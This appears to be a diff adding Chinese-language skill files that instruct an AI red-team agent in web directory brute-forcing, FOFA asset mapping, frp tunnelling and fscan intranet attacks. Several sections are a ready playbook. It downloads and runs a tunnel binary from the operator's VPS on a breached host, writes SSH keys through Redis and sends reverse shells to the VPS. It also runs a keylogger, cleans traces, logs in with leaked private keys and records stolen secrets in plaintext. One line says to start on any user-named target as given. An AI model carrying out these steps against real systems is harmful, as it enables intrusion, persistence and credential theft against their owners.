| **dirsearch** | `$DSH_HOME/redteam/toolkit/dirsearch/dirsearch` | v0.5.0 | Python。`setup.sh` 不下载,需自行放到该路径 |
| **gobuster** | `/usr/bin/gobuster` | — | 轻量稳定,dir/dns/vhost 三模式 |
## 一、feroxbuster(首选:递归 + 自动过滤)
```bash
feroxbuster -u https://target.example.com \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-x php,asp,aspx,jsp,html,js,zip,tar.gz,bak,sql,txt,xml,json,config \
-d 3 -t 30 --rate-limit 80 --timeout 10 \
--filter-status 404 --filter-size 0 \
-o runs/ferox-target.txt --json -o runs/ferox-target.json
```
要点:`-d 3`(递归深度)别开太大;`--rate-limit` 交给服务器喘气;`-x` 后缀表必须带**备份与配置类**。
## 二、ffuf(最快,多字典 / vhost / 参数)
```bash
# 目录与文件(两轮:先目录,再按命中的目录加后缀)
ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,204,301,302,307,401,403,500 -fc 404 -t 40 -rate 80 -timeout 10 \
-o runs/ffuf-dir.json -of json
# 敏感文件(备份/配置/源码/密钥)
ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt \
-mc all -fc 404 -t 40 -o runs/ffuf-quick.json -of json
# vhost 虚拟主机发现(同 IP 多站点,边缘资产常从这里出来)
ffuf -u https://target/ -H "Host: FUZZ.example.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fs 0 -mc all -t 50 -o runs/ffuf-vhost.json -of json
```
## 三、dirsearch(字典全,适合补漏)
```bash
$DSH_HOME/redteam/toolkit/dirsearch/dirsearch \
-u https://target.example.com -e php,asp,aspx,jsp,zip,bak,txt,sql,json \
--random-agent -t 30 --delay 0.1 --exclude-status 404 \
-r -R 3 --format json -o runs/dirsearch-target.json
```
## 四、gobuster(轻量兜底)
```bash
gobuster dir -u https://target -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,asp,aspx,jsp,zip,bak -t 30 -k -o runs/gobuster-target.txt
```
## 字典(本机已有,优先用这些)
| 用途 | 路径 |
| --- | --- |
| 大目录字典 | `/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt` |
| 中目录字典 | `/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt` |
| 常见文件 | `/usr/share/seclists/Discovery/Web-Content/common.txt` |
| 敏感文件(quickhits) | `/usr/share/seclists/Discovery/Web-Content/quickhits.txt` |
| 子域(vhost 用) | `/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt` |
字典目录:`/usr/share/seclists`、`/usr/share/wordlists`。**缺字典时**用 `redteam_credential_list` 里已收集的
单位词(品牌名、拼音缩写)自造小字典——针对性字典命中率往往高于通用大字典。
## 重点目标(扫到就要跟到底)
| 命中 | 下一步 |
| --- | --- |
| `/admin`、`/manage`、`/login`、后台路径 | 交给账号权限路线:默认口令/弱口令(技能 `credential-attack`) |
| `.git/`、`.svn/`、`.env`、`config.php.bak`、`www.zip`、`web.rar` | **源码与配置泄露**:拉下来找数据库连接串、密钥、硬编码账号 → `redteam_credential_add` |
| `swagger-ui.html`、`/v2/api-docs`、`/openapi.json` | 提取全量接口清单 → 未授权与越权探测(技能 `unauth-exploit`) |
| `actuator`、`druid`、`/console`、`/jmx` | 未授权监控台,常直通 RCE 或数据库 |
| 上传点、导入、备份恢复、模板/报表设计 | 交给漏洞利用角色串 getshell 链 |
| `.ssh/`、`id_rsa`、`*.pem`、`*.jks` | 私钥泄露 → 直接尝试登录(`ssh -i`) |
## 降噪与自保
1. **必须先过滤 404 的软 404**:先请求一个不存在的随机路径,看返回状态码与响应长度,用它做 `--filter-size` / `-fs`。
2. **限速**:`-rate 80` / `--delay 0.1` / `-t 30` 起步;被 WAF 拦(大量 403/429)先降到 5–10 req/s。
3. **别碰危险路径**:`/logout`、`/reboot`、`/shutdown`、`/delete*`、`/reset*` 这类会改状态的不要爆破,
字典里遇到也要排除(会造成业务中断,且演练记分不认)。
4. **被封 >3 次放弃**该资产(`redteam_asset_test` status=abandoned + blocked=true),转下一个。
5. **内网目标走隧道**:feroxbuster `--proxy socks5://127.0.0.1:1080`、ffuf `-x socks5://127.0.0.1:1080`
(技能 `suo5-tunnel`)。
## 输出与落库(强制)
1. **隐藏路径本身不是得分项**,但**每个拿到东西的路径都要落库**:
- 找到后台/上传点/接口文档 → 记进该资产 `redteam_asset_test` 的 `surface`(追加式),交给漏洞发现/利用的下一个动作;
- 泄露源码/配置/密钥/凭据 → `redteam_credential_add`(`source=配置泄露`,`tool` 写路径与命令,明文写 `secret_value`);
- 未授权可访问的接口/监控台 → 直接 `redteam_vuln_add`(含 `evidence` 回显)+ `redteam_http_evidence_add`。
2. 每个关键动作 `redteam_chain_add`:`stage_code=internet`(或 `internal`),
`tool` 写实际命令原文(例如 `feroxbuster -u https://target -w raft-large-directories.txt -x php,zip,bak -d 3 --rate-limit 80`),
`result` 写命中摘要(例如 `命中 /admin/、/backup/www.zip、/.env`)。
3. 跑完立刻 `redteam_asset_test` 回写 `status`/`test`/`surface`——不写状态后面的人一定重复扫。
4. 字典与结果文件一律放 `runs/`(报告要能复现)。
+179
View File
@@ -0,0 +1,179 @@
---
name: fofa-recon
description: 用 FOFA API 批量测绘靶标资产(域名/IP/端口/标题/指纹);内置限速客户端,严格单线程 + 最小间隔 + 退避重试,避免触发 45012
whenToUse: 信息收集阶段需要快速铺开某单位/域名的互联网资产面时
role: recon
enabled: true
---
# FOFA 资产测绘(限速安全版)
## 凭据
- API Key:从环境变量 `FOFA_KEY` 读取(**任何 key 都不要写进仓库**;本技能所有脚本只读环境变量)
- 接口:`GET https://fofa.info/api/v1/search/all`
- 参数:`key`、`qbase64`(查询语句的 base64)、`size`、`page`、`fields`
## 官方限额(fofa.info/vip,2026-09 核对)
| 会员 | 查询请求 | 获取数据量 | **查询接口并发** |
|---|---|---|---|
| 注册用户(免费) | 无 API(页面 300 次/月) | 页面 3,000 条/月 | — |
| 个人版 | 10,000 次/月 | 100,000 条/月 | **1 秒 1 次** |
| 专业版 | 80,000 次/月 | 800,000 条/月 | **1 秒 1 次** |
| 商业版 | 900,000 次/月 | 9,000,000 条/月 | **1 秒 2 次** |
| 企业版 V2 | 5,000,000 次/月 | 50,000,000 条/月 | **1 秒 5 次** |
## 实测行为(实测验证)
- 连续快速请求 → **HTTP 429**,响应体 `{"error":true,"errmsg":"[45012] 请求速度过快"}`
- key 错误 → HTTP 200 + `{"error":true,"errmsg":"[-700] 账号无效"}`
- 单页 `size` 到 1000 正常;请求间隔 ≥1 秒时连续请求均返回 200
- 结论:**按 1 请求/秒 保守执行,绝不并发**;遇到 45012 必须退避,不要立即重试
## 使用纪律(重要)
1. **精确查询优先**:`domain=` / `cert=` / `org=` 先缩小范围,再考虑 `body=` / `title=` 等宽泛语句。宽语句返回几十万条没意义,还烧配额。
2. **不要全量翻页**:默认只取前 1–3 页(每页 100 条)拿到测绘入口即可。
3. **单进程单线程**:同一时刻只跑一个采集任务;多个查询串行排队。
4. **结果落盘缓存**:同一查询不要重复拉,先看 `runs/fofa-*.jsonl` 是否已有。
5. **长任务放后台**:用 `run_in_background` 跑,别阻塞对话。
6. 配额耗尽或被限速时改用其他数据源(证书透明、DNS、搜索引擎),不要死磕。
## 限速客户端(用这个,不要手写 curl 循环)
```bash
cat > runs/fofa_client.py <<'PY'
#!/usr/bin/env python3
"""FOFA 采集(限速安全):单线程 + 最小间隔 + 指数退避 + 结果缓存。
用法:
python3 runs/fofa_client.py 'domain="example.com"' --pages 2 --size 100 --interval 2.0
输出:
runs/fofa-<slug>.jsonl 每行一个资产 {host,ip,port,title,domain,server,protocol}
"""
import argparse, base64, hashlib, json, os, sys, time, urllib.error, urllib.parse, urllib.request
KEY = os.environ["FOFA_KEY"]
API = "https://fofa.info/api/v1/search/all"
FIELDS = "host,ip,port,title,domain,server,protocol"
RETRY_BACKOFF = [5, 15, 45] # 遇 45012 的退避秒数
HARD_BUDGET = 30 # 单次运行最多请求次数
def fetch(query, page, size, timeout=30):
qs = urllib.parse.urlencode({
"key": KEY, "qbase64": base64.b64encode(query.encode()).decode(),
"size": size, "page": page, "fields": FIELDS,
})
req = urllib.request.Request(API + "?" + qs, headers={"User-Agent": "redteam-recon/1.0"})
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.status, json.load(r)
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", "ignore")
try:
return e.code, json.loads(body)
except Exception:
return e.code, {"error": True, "errmsg": body[:200]}
def main():
ap = argparse.ArgumentParser()
ap.add_argument("query")
ap.add_argument("--pages", type=int, default=2, help="最多翻页数(默认 2)")
ap.add_argument("--size", type=int, default=100, help="每页条数(默认 100,不要调大)")
ap.add_argument("--interval", type=float, default=2.0, help="请求最小间隔秒(默认 2.0)")
ap.add_argument("--out", default=None)
args = ap.parse_args()
slug = hashlib.md5(args.query.encode()).hexdigest()[:8]
out = args.out or f"runs/fofa-{slug}.jsonl"
os.makedirs(os.path.dirname(out) or ".", exist_ok=True)
if os.path.exists(out) and os.path.getsize(out) > 0:
print(f"[cache] {out} 已存在({os.path.getsize(out)} bytes),如需重拉请先删除", file=sys.stderr)
return 0
seen, rows, requests_made, last_ts = set(), [], 0, 0.0
for page in range(1, args.pages + 1):
# ---- 限速:保证两次请求之间至少间隔 interval 秒 ----
wait = args.interval - (time.time() - last_ts)
if wait > 0:
time.sleep(wait)
status, data = None, None
for attempt, backoff in enumerate([0] + RETRY_BACKOFF):
if attempt:
print(f"[backoff] 等待 {backoff}s 后重试 (page={page})", file=sys.stderr)
time.sleep(backoff)
last_ts = time.time()
requests_made += 1
if requests_made > HARD_BUDGET:
print(f"[stop] 达到请求预算 {HARD_BUDGET}", file=sys.stderr)
break
status, data = fetch(args.query, page, args.size)
if status == 200 and not data.get("error"):
break
errmsg = str(data.get("errmsg", ""))
if "45012" in errmsg or status == 429:
continue # 限速 → 退避重试
print(f"[stop] 不可重试错误 http={status} {errmsg}", file=sys.stderr)
data = None
break
if data is None:
break
results = data.get("results") or []
print(f"[page {page}] {len(results)} 条 (size={data.get('size')}, 消耗F点={data.get('consumed_fpoint')})", file=sys.stderr)
for item in results:
if isinstance(item, str):
item = [item]
host = item[0] if len(item) > 0 else ""
ip = item[1] if len(item) > 1 else ""
port = item[2] if len(item) > 2 else ""
key = (host, ip, port)
if key in seen:
continue
seen.add(key)
rows.append({
"host": host, "ip": ip, "port": port,
"title": item[3] if len(item) > 3 else "",
"domain": item[4] if len(item) > 4 else "",
"server": item[5] if len(item) > 5 else "",
"protocol": item[6] if len(item) > 6 else "",
})
if len(results) < args.size:
break # 已到末页
with open(out, "w", encoding="utf-8") as f:
for row in rows:
f.write(json.dumps(row, ensure_ascii=False) + "\n")
print(f"[done] {len(rows)} 条资产 → {out}(共 {requests_made} 次请求)", file=sys.stderr)
return 0
if __name__ == "__main__":
sys.exit(main())
PY
```
### 用法
```bash
mkdir -p runs
python3 runs/fofa_client.py 'domain="example.com"' --pages 2 --size 100 --interval 2.0
python3 runs/fofa_client.py 'cert="example.com"' --pages 3 --interval 2.0
python3 runs/fofa_client.py 'org="示例科技有限公司"' --pages 2 --interval 2.0
```
### 落库
读 `runs/fofa-*.jsonl`,逐条 `redteam_asset_add`:`provenance="passive"`、`tool="fofa"`,端口带 `url=host`、`title`、`product=server`;域名写进 `names`。
## 常用查询语句
| 目的 | 语句 |
|---|---|
| 某域名全部资产 | `domain="example.com"` |
| 证书包含该域名 | `cert="example.com"` |
| 某 C 段 | `ip="203.0.113.0/24"` |
| 单位名称 | `org="示例科技有限公司"` |
| 按标题找后台 | `title="登录" && domain="example.com"` |
| 按 body 特征 | `body="/seeyon/"` |
| 指定端口 | `ip="203.0.113.0/24" && port="3306"` |
> 宽泛语句(单独用 `body=` / `title=`)结果量大、消耗配额快,务必叠加域名或 IP 限定。
+147
View File
@@ -0,0 +1,147 @@
---
name: frp-tunnel
description: frp 内网穿透:在自有 VPS 上跑 frps,在目标上跑 frpc,得到稳定 socks5 与端口映射
whenToUse: 已有命令执行/RCE 且目标可出网;需要长期稳定隧道、把内网端口映射给用户直接访问时
role: internal
enabled: true
---
# frp(内网穿透,最稳的长期隧道)
> **先加载 VPS 配置**:本技能里所有 `$REDTEAM_VPS_HOST` / `$VPS_USER` 都来自本机配置,
> 首次由 `bash $DSH_HOME/redteam/setup.sh` 写入 `$DSH_HOME/.env`。每条命令前先 source 一次:
> ```bash
> set -a; . "$DSH_HOME/.env" 2>/dev/null || . "$HOME/.dsh/.env"; set +a
> VPS_USER="${REDTEAM_VPS_USER:-ubuntu}"; VPS="$REDTEAM_VPS_HOST"
> ```
> 没配过就跑一次 `setup.sh`(技能 `redteam-setup`),它同时会验证 SSH 连通性与载荷服务。
`frp` 是**最稳定、最常用**的穿透方案:VPS 上跑 `frps`(服务端),目标上跑 `frpc`(客户端),
把内网的 socks5 或任意端口映射出来。相比 suo5/chisel,它**专为长期稳定运行设计**(自动重连、多路复用、TLS),
适合打进去之后**长期挂着**的内网通道。
**分工**:有 WebShell → `suo5-tunnel`;只有命令执行要快速进内网 → `chisel-tunnel`;
要**长期稳定 + 把端口给用户直接用** → 本技能。
## 本机二进制
| 文件 | 路径 | 用途 |
| --- | --- | --- |
| frps | `$DSH_HOME/redteam/toolkit/frp/frps` | VPS 上的服务端 |
| frpc | `$DSH_HOME/redteam/toolkit/frp/frpc` | 目标上的客户端 |
已同步到 VPS 载荷目录 `http://$REDTEAM_VPS_HOST:9100/`。VPS 上还有 `frps` 的配置样例。
## 一、VPS 侧:起 frps(先做)
```bash
# 1) 上传并准备(本机 → VPS)
scp -i $DSH_HOME/redteam/toolkit/vps/id_rsa \
$DSH_HOME/redteam/toolkit/frp/frps $VPS_USER@$REDTEAM_VPS_HOST:/root/frps
# 2) 写配置(VPS 上)
cat > /root/frps.toml <<'EOF'
bindPort = 7000 # frpc 连接端口
auth.method = "token"
auth.token = "<随机强 token>" # 必填:公网暴露必须加 token,否则被扫到白用
# 可选:vhostHTTPPort / vhostHTTPSPort 用于 HTTP 类型穿透
EOF
# 3) tmux 里跑(断开 SSH 也不能死)
tmux new -s frps
/root/frps -c /root/frps.toml
```
**VPS 安全组放行**:`7000`(frpc 连接口)+ 后续映射出来的端口(如 `1080`、`13389`)。
## 二、目标侧:跑 frpc
```bash
# 1) 拉取二进制(通过已有命令执行点)
curl -s http://$REDTEAM_VPS_HOST:9100/frpc -o /tmp/frpc && chmod +x /tmp/frpc
# 2) 写配置
cat > /tmp/frpc.toml <<'EOF'
serverAddr = "$REDTEAM_VPS_HOST"
serverPort = 7000
auth.method = "token"
auth.token = "<与 frps 相同的 token>"
# ① 内网 SOCKS5(最有用:整个内网可达)
[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"
# ② 指定端口映射(例:内网 RDP → VPS 13389)
# [[proxies]]
# name = "rdp"
# type = "tcp"
# localIP = "10.0.0.5"
# localPort = 3389
# remotePort = 13389
# ③ 可选:HTTP 类型(走 80/443 出网受限时配合 frps 的 vhostHTTPPort)
# [[proxies]]
# name = "web"
# type = "tcp"
# localIP = "10.0.0.6"
# localPort = 8080
# remotePort = 18080
EOF
# 3) 后台常驻跑(nohup + 断线自动重连)
nohup /tmp/frpc -c /tmp/frpc.toml > /tmp/frpc.log 2>&1 &
# Windows 目标:frpc.exe -c C:\Windows\Temp\frpc.toml(可用 sc create 注册服务持久化)
```
## 三、本机使用隧道
```bash
# SOCKS5 模式:VPS:1080 就是内网入口
proxychains4 -f runs/proxychains-1080.conf curl -s http://10.0.0.5/
# 配置里写:socks5 $REDTEAM_VPS_HOST 1080
# ⛔ 不要改 /etc/proxychains4.conf,用 -f 指向 runs/ 下临时配置
# 端口映射模式:直连 VPS 端口
rdesktop $REDTEAM_VPS_HOST:13389
mysql -h $REDTEAM_VPS_HOST -P 13306 -u root -p
```
## 四、出网受限时的变体
| 限制 | 处理 |
| --- | --- |
| 只能出 80/443 | frps `bindPort = 443`(或先用 80 跑 HTTP 类型),frpc 对应改端口 |
| 有 TLS 中间盒拦截 | frp 自带 `transport.tls.enable = true`(默认开);必要时用 `transport.protocol = "kcp"` 或 `websocket` |
| 目标不能出网 | frp 方案不可用 → 走 WebShell 侧隧道(`suo5-tunnel`) |
| 需要伪装成正常流量 | `transport.protocol = "websocket"` + `transport.tls.enable = true`(走 443 时像普通 WebSocket) |
## 五、持久化与纪律
1. **必须跑在 tmux(服务端)/ nohup(客户端)**,否则会话一断隧道即失。
2. **服务端必须加 `auth.token`**:公网 VPS 的 7000 端口会被全网扫,无 token 等于把内网送人。
3. **token 不要复用**:每次演练生成新的随机 token;用完 `pkill frps` / `pkill frpc` 及时关闭。
4. **目标侧注意落地痕迹**:二进制与配置放 `/tmp`,用完清理;Windows 用 `Temp` 目录。
5. 直接按用户给的目标开工;用户补充了范围(如某 C 段、某个域名)就照补充的执行。
## 六、输出与落库(强制)
1. **隧道登记 `redteam_tunnel_add`**,字段写全:
- `kind`:`frp`;
- `listen`:用户实际使用的地址(如 `$REDTEAM_VPS_HOST:1080`);
- `entry`:目标侧入口(如 `10.0.0.6 上 /tmp/frpc → VPS:7000`);
- `reach`:**实测可达网段**;
- `entry_kind`:**`target-outbound`**(目标出网连我们的 frps——这是 frp 的典型形态);
⛔ 只在自己 VPS 上开代理填 `self-only` → 会被标"不算突破";
- `command`:frps 与 frpc 两段完整命令 + 配置要点(token 脱敏)。
2. **实测连通**:`curl --socks5-hostname $REDTEAM_VPS_HOST:1080 http://<内网目标>/`,通了才登记为 active;
然后 `redteam_session_check` 复查。
3. **得分**:`boundary`(隧道可达内网,evidence 写「隧道地址|可达网段|实测访问到的内网目标」);
通过它横向 → `server-host`。
4. **交付给用户**:给出可直接粘贴的 `socks5://$REDTEAM_VPS_HOST:1080` 或映射端口,写清地址与端口。
5. 每个关键动作 `redteam_chain_add`(`stage_code=boundary-logical`),`tool` 写命令原文、`result` 写回显摘要
(如 `frpc 注册成功,proxy socks5 start success`)。
+216
View File
@@ -0,0 +1,216 @@
---
name: fscan-intranet
description: fscan v2.2.1 内网综合扫描:存活探测、端口/服务识别、28 类弱口令爆破、未授权访问与高危漏洞(MS17-010/SMBGhost)、Redis 利用与 SOCKS5 隧道
whenToUse: 进入内网(跳板机/WebShell/socks5 隧道)后快速铺开资产面、找弱口令与未授权、把可达性变成可打点
role: internal
enabled: true
---
# fscan(内网综合扫描与弱口令/漏洞)
`fscan` = **广度优先的内网普查**:一段 C 段丢进去,几分钟内给出存活主机、开放端口、服务指纹、Web 标题、
弱口令、未授权访问、高危漏洞。**噪声大**,只适合内网(对互联网目标用外部扫描技能)。
## 与 gogo 的分工
| | fscan | gogo |
| --- | --- | --- |
| 定位 | 综合普查 + 爆破 + 利用 | 高性能测绘 + 指纹 + 信息提取 |
| 噪声 | 大(默认 600 线程 + 爆破 + POC) | 可控(`--opsec`、线程/超时自调) |
| 先用哪个 | 目标明确、要快速找弱口令与洞 | 大网段先铺面、要指纹和 title |
**推荐顺序**:先 `gogo` 铺面拿资产清单 → 再 `fscan` 对确认存活的目标做定向爆破与漏洞。
## 二进制
```
本机 : $DSH_HOME/redteam/toolkit/fscan/fscan (v2.2.1,含本地插件)
$DSH_HOME/redteam/toolkit/fscan/fscan_windows_x64.exe
$DSH_HOME/redteam/toolkit/fscan/fscan_linux_arm64
VPS : http://<你的VPS_IP>:9100/fscan (技能 vps-reverse-shell 的载荷目录)
```
安装脚本只下载 linux/amd64 的 `fscan`。Windows 与 ARM 文件需自行补上;当前平台只用上面的主文件。
**传到跳板机/目标**(内网扫描必须在能到达内网的位置执行):
```bash
# 跳板机上直接下载(VPS 起载荷服务:~/.dsh/redteam/toolkit/vps/vps.sh serve 9100)
curl -o fscan http://<你的VPS_IP>:9100/fscan && chmod +x fscan
# 或从本机经 shells 上传
```
## 纪律(先看这条)
1. **范围**:只用授权清单内的网段;用 `-eh/-ehf` 显式排除办公网、打印机、工控、云元数据(169.254.169.254)。
2. **别打崩设备**:默认 `-t 600` 对老设备/工控很危险。内网先用 `-t 100 -time 3`,确认设备扛得住再加。
3. **先无爆破再爆破**:第一轮 `-nobr -nopoc` 只做资产面;确认目标重要性和授权后,第二轮再放开。
4. **避开蜜罐/IDS**:`-rate` 限速、`-maxpkts` 限量;管理员可能在看着。
5. **DNSLog 外带**:`-dns -domain <你的dnslog域名>`,别用公共 DNSLog 传敏感数据。
## 标准作业流程(SOP)
```bash
# 0) 确认自己在哪、能到哪
ip a; ip route
# 1) 存活普查(最快,先圈定活人)
./fscan -h 10.0.0.0/24 -m icmp -o alive.txt -nocolor
# 2) 资产面(不爆破、不打 POC,最安静)
./fscan -h 10.0.0.0/24 -np -nobr -nopoc -t 100 -time 3 -o assets.txt
# 3) Web 优先:把 assets.txt 里的 web 端口交给截图/指纹环节
./fscan -h 10.0.0.0/24 -p 80,443,8080,8000,8888,9000,7001,9090 -nobr -nopoc -nocolor
# 4) 定向爆破(授权确认后)
./fscan -h 10.0.0.5 -m ssh -user root -pwdf /tmp/pass.txt -t 5
# 5) 高危漏洞与未授权
./fscan -h 10.0.0.0/24 -m ms17010,smbghost -nobr
./fscan -h 10.0.0.0/24 -p 6379,27017,9200,11211,2181 -nobr -nopoc
```
## 参数速查(实测 v2.2.1 `-help`)
**目标**
```
-h <IP|CIDR|文件|域名> 目标(IP 段文件也吃)
-hf <file> 主机文件 -eh/-ehf 排除主机/排除文件
-u <URL> -uf <file> 单 URL / URL 文件 -domain <域名>
```
**端口与存活**
```
-p 21,22,80,443,3306,6379,10000-10100 端口(默认内置约 150 个常用端口)
-pf <file> 端口文件 -ep 排除端口
-np 禁用 ping 探测(只扫端口,快) -ao 仅存活探测
-nsp 禁用网段预筛(大网段提速) -ntp 禁用 TCP 补充探测
```
**模式**
```
-m all 默认全流程(含爆破+POC)
-m icmp 仅存活
-m <插件> 只跑指定服务插件,例如 -m ssh / -m redis / -m smb2 / -m ms17010 / -m netbios
-nobr 禁爆破 -nopoc 禁 POC -noredis 禁 Redis 利用
```
**并发与节流**(OPSEC 关键)
```
-t 600 端口扫描线程 -time 3 端口超时(秒)
-mt 20 模块线程 -wt 5 Web 超时
-gt 0 全局超时(秒) -retry 3 重试次数
-rate 0 每分钟最大发包数(0=不限) -maxpkts 0 总发包上限
-num 20 POC 并发 -icmp-rate 0.1 ICMP 速率
```
**凭据(爆破)**
```
-user/-pwd 单组账号密码 -userf/-pwdf 字典文件
-upf 用户名:密码 对文件 -usera/-pwda 追加多个(逗号/空格分隔)
-hash/-hashf NTLM Hash 碰撞 -sshkey 私钥登录
```
**利用(拿到就用,注意授权边界)**
```
-rf <pubkey> Redis 写公钥(写 authorized_keys 拿 SSH)
-rs Redis Shell -rwc/-rwf/-rwp Redis 写入内容/文件/路径
-rsh <ip:port> 反弹 Shell 到指定地址(配合技能 vps-reverse-shell)
-sc <shellcode> MS17-010 ShellCode
-local <plugin> 本机插件:systeminfo / keylogger / cleaner 等(在跳板机上跑)
-start-socks5 1080 在跳板机上开 SOCKS5 服务,把内网暴露给本机
-fsh-port 4444 正向 Shell 服务端口
```
**代理(打隧道后的核心用法)**
```
-socks5 127.0.0.1:1080 走 SOCKS5(suo5 / ssh -D / frp 都行)
-socks5 socks5://user:pass@127.0.0.1:1080
-proxy http://127.0.0.1:8080 走 HTTP 代理
```
**输出**
```
-o result.txt 输出文件 -f txt|json|csv 格式
-no 不保存结果 -silent 静默 -nocolor/-nopg 关颜色/进度条
-lang zh|en 语言 -log "base,info,success" 日志级别
-dns 记录 DNS 日志(配合 -domain 做外带检测)
-perf 输出性能统计 JSON
```
## 关键场景
### 1. 通过隧道打内网(最常用)
```bash
# 前提:已有 socks5(技能 suo5-tunnel,或 vps-reverse-shell 里 ssh -D)
# 实测验证过:fscan -socks5 会把流量真正送进隧道
./fscan -h 10.0.0.0/24 -p 22,80,445,3306,6379 -np -nobr -nopoc \
-socks5 127.0.0.1:1080 -t 50 -time 5 -o intranet.txt
```
注意:走代理时线程别开太大(隧道本身是瓶颈),`-t 50` 左右足够。
### 2. 在跳板机上开隧道给本机用
跳板机上执行(把内网 10 段暴露到 VPS 的 9100 端口,再 ssh 本地转发回来):
```bash
./fscan -start-socks5 1080 # 跳板机:1080 变成 SOCKS5
# VPS 上反向隧道:ssh -R 9200:127.0.0.1:1080 ubuntu@<你的VPS_IP>
# 本机:ssh -L 1080:127.0.0.1:9200 ubuntu@<你的VPS_IP>
# 之后所有工具都能 -socks5 127.0.0.1:1080
```
### 3. 拿 Redis 直接要权限
```bash
./fscan -h 10.0.0.5 -p 6379 -m redis -rf ~/.ssh/id_rsa.pub # 写公钥 → ssh 上去
./fscan -h 10.0.0.5 -p 6379 -rs # Redis Shell
./fscan -h 10.0.0.5 -p 6379 -rsh <你的VPS_IP>:9000 # 反弹到 VPS 监听
```
### 4. 落到服务器上之后
```bash
./fscan -local systeminfo # 系统信息、环境变量、域控、网卡
./fscan -local keylogger # 键盘记录(-keylog-output 指定输出)
./fscan -local cleaner # 痕迹清理
```
## 结果落库(必须做)
fscan 的 txt 输出是分段的,解析后逐条入库:
```bash
# 每台存活主机
redteam_asset_add { engagement, ip, source: "fscan", tags: ["internal"] }
# 每个开放端口/服务
redteam_asset_add { engagement, ip, port, service, banner } # 或 asset_link 关联
# 爆破/未授权成功的凭据与访问
redteam_credential_add { engagement, host, username, secret_type, secret_ref: "runs/fscan-<段>.txt" }
redteam_access_add { engagement, host, username, method: "ssh", privilege, session_ref }
# 确认的漏洞(必须配 http_evidence 或等价证据)
redteam_vuln_add { engagement, target, name: "Redis 未授权访问", severity: "high", evidence_ref }
```
**纪律**:`-o` 的输出文件是证据,拷回 `runs/`;不要只在终端里看一眼就算数。
## 排障
| 现象 | 处理 |
| --- | --- |
| 扫不动/极慢 | 去掉 `-np`、降 `-t`、加 `-time`;大网段先 `-m icmp` 圈活人 |
| 全是假开放 | 中间有防火墙/负载均衡回 SYN-ACK,用 `-time` 调大 + `-retry` 复核 |
| ICMP 失败 | 需要 root/`CAP_NET_RAW`;用 `sudo ./fscan -m icmp`,或改用 `-np` 只扫端口 |
| 爆破被锁 | 先用 `-usera` 少量试,确认无锁定策略(域账号尤其危险) |
| 中文乱码 | `-lang en` 或 `export LANG=zh_CN.UTF-8` |
| 想更安静 | `-nobr -nopoc -nocolor -nopg -t 50 -rate 6000`,必要时 `-silent` |
## 相关技能
- `gogo-intranet`:先用它铺面
- `suo5-tunnel`:WebShell → SOCKS5,给 fscan 提供 `-socks5` 入口
- `vps-reverse-shell`:`-rsh` 的落地端、载荷投递
- `webshell-toolkit`:拿到 WebShell 后的管理
+236
View File
@@ -0,0 +1,236 @@
---
name: gogo-intranet
description: gogo v2.15.0 高性能内网扫描引擎:智能/超智能模式、主动+被动指纹、关键信息提取(title/cert/JWT/邮箱/身份证)、nuclei 模板 POC、发包可控低噪声
whenToUse: 进入内网后对大网段(/16 /12)快速测绘、要指纹与关键信息、需要尽量少发包不被发现
role: internal
enabled: true
---
# gogo(内网测绘与指纹引擎)
`gogo` = **高并发、低噪声、高度可配置的测绘引擎**。链式反应出品,专为红队内网场景设计:
最小发包原则、主动+被动指纹、关键信息提取、内核级 POC 引擎(neutron,兼容 nuclei 模板)、
支持 DSL/workflow 自定义。**先 gogo 铺面,再 fscan 打点。**
## 与 fscan 的分工
| | gogo | fscan |
| --- | --- | --- |
| 强项 | 大网段测绘、指纹、信息提取、可控发包 | 弱口令爆破、未授权、高危漏洞、利用 |
| 默认噪声 | 低(`--opsec`、线程/超时可调) | 高(600 线程 + 爆破 + POC 全开) |
| 输出 | `.dat`(deflate JSON Lines)+ 格式化 | txt/json/csv |
| 典型用法 | `gogo -i 10.0.0.0/8 -m ss --ping -p top2,win,db --af` | `fscan -h 10.0.0.0/24 -nobr -nopoc` |
## 二进制
```
本机 : $DSH_HOME/redteam/toolkit/gogo/gogo (v2.15.0,4.3MB,自带 3138 条指纹)
$DSH_HOME/redteam/toolkit/gogo/gogo_windows_amd64.exe
$DSH_HOME/redteam/toolkit/gogo/gogo_linux_arm64
VPS : http://<你的VPS_IP>:9100/gogo (技能 vps-reverse-shell 的载荷目录)
文档 : https://chainreactors.github.io/wiki/gogo/
模板 : https://github.com/chainreactors/templates
# 跳到跳板机/目标上执行
curl -o gogo http://<你的VPS_IP>:9100/gogo && chmod +x gogo
```
安装脚本不下载 gogo,需自行放到主文件路径。Windows 与 ARM 文件同样要自己补;当前平台只用上面的主文件。
**零依赖**:单个静态二进制,指纹与提取规则全部内置,Windows 2003 都能跑。**不需要**额外配置文件。
## 纪律
1. **范围**:`--exclude` / `--exclude-file` 排除授权范围外网段,别把办公网和云元数据段扫了。
2. **先探路再扫描**:`ip a; ip route; arp -a; cat /etc/hosts` —— 内网拓扑往往能省掉一半扫描。
3. **OPSEC**:敏感环境加 `--opsec`,线程压到 `-t 200~500`,超时 `-d 3`;大网段必须 `--ping` 先过滤。
4. **不要 `-p -`(全端口)扫大网段**,那是自杀式发包;先 `top2` 再对存活主机上全端口。
## 核心概念
### 端口预设(这工具的灵魂)
```bash
gogo -P port # 列出全部预设 tag 与对应端口
```
常用 tag:`top1`(80,443,8080) · `top2`(数百个常见 Web/服务端口) · `top3` · `common`(内网常用) ·
`win`(135,137,445,3389,winrm,oxid) · `db` · `http` · `docker` · `oracle` · `smb` · `all`(全集)
```bash
p 组合:-p top2,win,db # 逗号任意组合
p 范围:-p 1-1000 # 区间
p 全部:-p - # 等于 1-65535(慎用)
p 单点:-p 6379,mysql,12345
```
### 三种扫描模式
| 模式 | 参数 | 适用 |
| --- | --- | --- |
